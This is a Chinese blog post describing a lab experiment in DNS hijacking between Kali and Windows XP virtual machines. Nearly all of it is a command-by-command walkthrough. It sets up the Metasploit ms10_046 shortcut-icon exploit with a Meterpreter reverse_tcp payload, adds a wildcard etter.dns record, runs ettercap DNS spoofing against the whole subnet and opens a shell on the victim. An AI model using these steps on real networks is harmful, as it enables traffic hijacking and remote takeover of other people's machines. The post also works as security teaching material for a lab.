记一次虚拟机环境的dns劫持实验

环境,kali虚拟机和winXP虚拟机

 

XP虚拟机别打太多补丁,毕竟为了试验

首先,两台电脑都打开

 

接下来,对kali进行操作

首先查看ip和网卡

指令ifconfig

 

接着打开Metasploit命令行模式

指令msfconsole

 

选择漏洞利用攻击模块

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

 

然后配置攻击的参数

设置SRVHOST

set SRVHOST kali的ip

 

选择攻击载荷反弹ip模式

set PAYLOAD windows/meterpreter/reverse_tcp

 

设置LHOST

set LHOST kali的ip

 

通过exploit命令发起攻击

 

 

配置ettercap工具进行dns欺骗

编辑etter.dns

vim /etc/ettercap/etter.dns

注意 BT5和kali的etter位置不同,用bt5的请自行百度

添加A记录,如,使.com的域名全部被劫持

*.com A kali的ip

 

接下来就可以开始欺骗攻击了

ettercap -T -i 网卡编号 -q –P dns_spoof /// ///

这是对全网段进行欺骗

 

此时,xp虚拟机ping任何一个.com域名时,ping的ip都会变成kali的ip

当kali的msfconsole中显示Meterpreter session 1 opened时,说明已经攻击成功

此时可以输入sessions指令查看被攻击的主机

通过指令sessions –i 主机id号,可以对主机进行操作,比如输入shell指令,就可以通过shell控制目标机

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值